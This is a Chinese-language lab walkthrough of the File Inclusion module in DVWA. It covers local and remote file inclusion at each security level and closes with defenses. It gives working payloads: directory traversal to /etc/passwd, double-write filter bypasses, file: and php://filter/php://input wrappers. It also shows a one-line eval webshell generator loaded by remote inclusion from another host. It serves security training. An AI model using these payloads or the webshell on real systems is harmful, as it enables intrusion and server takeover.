DVWA学习之File Inclusion
File Inclusion(文件包含)
0x01 何为File Inclusion?
1.简介
文件包含漏洞,是指当服务器开启allow_url_include选项时,就可以通过php的某些特性函数 (include()、require()、include_once()、require())利用url去动态包含文件,此时如果 没有对文件来源进行严格审查,就会导致任意文件读取或者任意命令执行。文件包含漏洞分为: 本地文件包含漏洞和远程文件包含漏洞,远程文件包含漏洞是因为php配置中的allow_url_fopen 开启,服务器允许包含一个远程的文件。
2.相关函数
include()函数:会将指定的文件读入并且执行里面的程序;
require()函数:会将文件的内容读入,并且把自己本身替换成这些读入的内容;
include_once()函数:和 include 语句完全相同,唯一区别是如果该文件中已经被包含过,则不会再次包含。如同此语句名字暗示的那样,只会包含一次
require_once():和 require 语句完全相同,唯一区别是如果该文件中已经被包含过,则不会再次包含。如同此语句名字暗示的那样,只会包含一次
3.文件包含功能
文件包含功能使用include函数将web根目录以外的目录文件包含进来,文件包含功能给开发人员带来了便利。通过把常用的功能归类成文件,文件包含可以提高代码重用率。
文件包含漏洞是高危漏洞,往往会导致任意文件读取和任意命令执行,造成严重的安全后果。
文件包含往往要使用到目录遍历工具
4.相关知识
1.文件包含分类:
目录遍历(Directory traversal)和文件包含(File include)的一些区别:
目录遍历是:可以读取web根目录以外的其他目录,根源在于web application的路径访问权限设置不严,针对的是本系统。
文件包含是:通过include函数将web根目录以外的目录的文件被包含进来,分为LFI本地文件包含和RFI远程文件包含
LFI:本地文件包含(Local File Inclusion)
RFI:远程文件包含(Remote File Inclusion)
2.php.ini配置
allow_url_fopen = on (默认开启)
allow_url_include = on (默认关闭)
远程文件包含是因为开启了 php 配置中的 allow_url_fopen 选项(选项开启之后,服务器允许包含一个远程的文件)。
5.文件包含漏洞的一般特征
?page=a.PHP
?home=a.html
?file=content
6.文件包含的测试
1.通过多个…/让目录返回上一级,然后再进入目标目录
?file=../../../../../etc/passwdd
?page=file:///etc/passwd
?home=main.cgi
?page=http://www.a.com/1.php
http://1.1.1.1/../../../../dir/file.txt
2.编码字符绕过过滤
1. 可以使用多种编码方式进行绕过
2. %00嵌入任意位置
3. .的利用
3.向量词典
用于目录爆破猜测,在Kali的/usr/share/wfuzz/wordlist/vulns中保存有,如:
general:目录猜解
Injections:注入
Stress:压力测试
特别说明的是,服务器包含文件时,不管文件后缀是否是php,都会尝试当做php文件执行,如果文件内容确为php,则会正常执行并返回结果,如果不是,则会原封不动地打印文件内容,所以 文件包含漏洞常常会导致任意文件读取与任意命令执行。
0x02 low级别
加载:
查看源码可以看到本级别下,没有进行任何过滤,这就给我们留下了包含任意文件的空当:
1.没有进行过滤,给page随便赋值,看有什么结果:page=include.php/
注意报错信息:直接报网站的路径信息给暴露出来了:
其中,第一条warring是因为找不到我们制定的page,也就是包含不到我们指定的page,给出警告;
第二条warring是因为没有找到指定的page,在包含时候报错。
action one:本地包含
根据暴露出来的绝对路径:D:\phpStudy\PHPTutorial\WWW\DVWA\vulnerabilities\fi\index.php,通过访问相对路径的方式“…/”访问所有的路径,比如访问www下面的phpinfo.php文件,通过该方法可以浏览相应目录下的文件
构造相对路径URL:?page=../../../phpinfo.php
也可以通过构造绝对路径URL访问:?page=D:\phpStudy\PHPTutorial\WWW\phpinfo.php
上述实验说明,通过构造URL不经能够读取文件,还可以执行文件(因为输出phpinfo.php时执行了echo函数),表名文件包含不仅可以读取文件,还可以执行文件
action two:远程包含
首先,开启远程文件包含
然后,构造访问远程文件的URL(其中192.168.15.241为另一台服务器),这里还可以通过远程执行文件后,用菜刀进行连接
?page=http://192.168.15.241/phpinfo.php
0x02 medium级别
直接指定文件给page,报错
包含出错,尝试使用各种相对路径“…/”、"./"等访问均报错,实际上,该级别漏洞使用str_replace()函数,对page参数进行了一定的处理,将”http:// ”、”https://”、 ” …/”、”…\”替换为空字符。
action one:本地包含:尝试用绝对路径,避免先对路径符号被过滤
构造URL:?page=D:\phpStudy\PHPTutorial\WWW\phpinfo.php
action two:远程包含:既然过滤了http://和https://,尝试使用双写的方式
构造URL:?page=hthttp://tp://192.168.15.241/phpinfo.php
action three:本地包含,相对路径技巧,既然过滤了“…/”,那就双写“…/”
构造URL:?page=.....//....//....//phpinfo.php
通过medium给我们一个启示,当出现对正常的字符进行过滤时,可以尝试双写正常的字符,绕过过滤
0x03 high级别
尝试之前的绕过方法:
尝试不存在包含文件123.php
尝试不存在的包含文件:page=file123.php
上述连个错误,第一个说明文件根本不存在,第二个说明文件包含不到我们制定的文件,实际上high级别对进行了过滤,使用fnmatch()函数进行了白名单过滤,要求page参数必须以“file”开头,才能通过验证,去包含相应的文件。不过,我们知道“file协议”能够访问本地文件,那就尝试构造URL访问本地的文件:
action one:本地包含:相对路径
构造URL:?page=file:/../../../phpinfo.php
action two:本地包含:绝对路径
构造URL:?page=file://D:\phpStudy\PHPTutorial\WWW\phpinfo.php
action three:远程包含:远程包含必须使用http://协议或者https://协议,而高级模式使用白名单过滤仅允许file协议通过,而file协议针对本地文件有效,所以目前来看,是无法进行远程攻击的,不过别急,道高一尺、魔高一丈,我们结合后续的文件上传仍然可以实现远程攻击。
0x04 impossible级别
impossible级别设置严格的白名单过滤,仅允许include.php通过,基本上可以杜绝文件包含的漏洞。
0x05 文件包含漏洞的利用
1.读取文件:利用相对路径或者绝对路径等方式读取目标主机的文件;
2.远程shell:主要思路:
1.编辑txt文件内容如下,并将txt文件上传至目标服务器,作用为在当前目录下生成shell.php文件,写入与句话木马(<?php eval($_POST[aaa]);?>),完成了对文件类型等的绕过,并且在目标服务器自助生成木马,避免了直接上传被拦截;
txt文件内容:<?php fputs(fopen("shell.php","w"), "<?php eval($_POST[aaa]);?>");?>
2.通过文件包含远程执行txt文件,生成php文件;
3.再通过远程包含,执行生成的php文件;
4.通过菜刀连接,拿下服务器shell
3.配合上传漏洞:和文件上传漏洞或者SQL注入漏洞等一同利用,通过利用前面的漏洞将一句话木马1.php文件上传到Web服务器中,然后再通过文件包含漏洞包含出现从而得到shell。
首先,利用文件上传漏洞,将木马文件例如.txt格式的文件上传到服务器(上传txt格式文件,绕过文件上传对格式的要求,内容可以为一句话木马等);
然后,利用文件包含漏洞,去执行txt文件,注意:文件包含漏洞会把任何格式的文件,都当做php格式执行
4.使用PHP分装协议读取和写入PHP文件
首先,上传1.txt文件,内容为:<?php phpinfo();?>
action one:base64编码读取1.txt内容:
构造URL?page=php://filter/read=php://filter/read=convert.base64-encode/resource=D:\phpStudy\PHPTutorial\WWW\DVWA\hackable\uploads\1.txt
获得base64编码的字符串,结果解码后:<?php phpinfo();?>
action two:写入PHP文件
想要写入文件,前提条件:allow_url_include必须为on
构造URL:?page=php://input
然后,通过Firefox的hackbar来post数据,post提交的内容被执行:
0x06 防御方法
1、严格判断包含中的参数是否外部可控;
2、路径限制,限制被包含的文件只能在某一个文件夹内,特别是一定要禁止目录跳转字符,如:“…/”;
3、基于白名单的包含文件验证,验证被包含的文件是否在白名单中;
4、尽量不要使用动态包含,可以在需要包含的页面固定写好,如:“include(“head.php”)”;
5、可以通过调用str_replace()函数实现相关敏感字符的过滤,一定程度上防御了远程文件包含。